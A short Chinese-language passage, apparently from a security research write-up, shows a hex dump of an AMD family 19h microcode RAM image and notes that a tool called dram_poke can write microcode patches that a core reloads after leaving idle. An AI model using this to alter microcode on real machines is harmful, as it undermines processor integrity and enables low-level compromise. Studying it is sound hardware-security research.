fam19h: 0/94 chunks match
导出微码三元组:
od -Ax -tx1 -w20 ucode_ram.bin
000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a
000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0
000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27
[...]
000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00
*
0005f0
结果一目了然:开头的 uop 清晰可辨,后面则是重复的 NOP 填充。
在此基础上,dram_dump 还有一个配套工具 dram_poke。前面用来读补丁的那个别名同样可以写补丁——核心退出空闲状态后重新加载的就是这个副本。
接下来怎么玩,就看你发挥了。



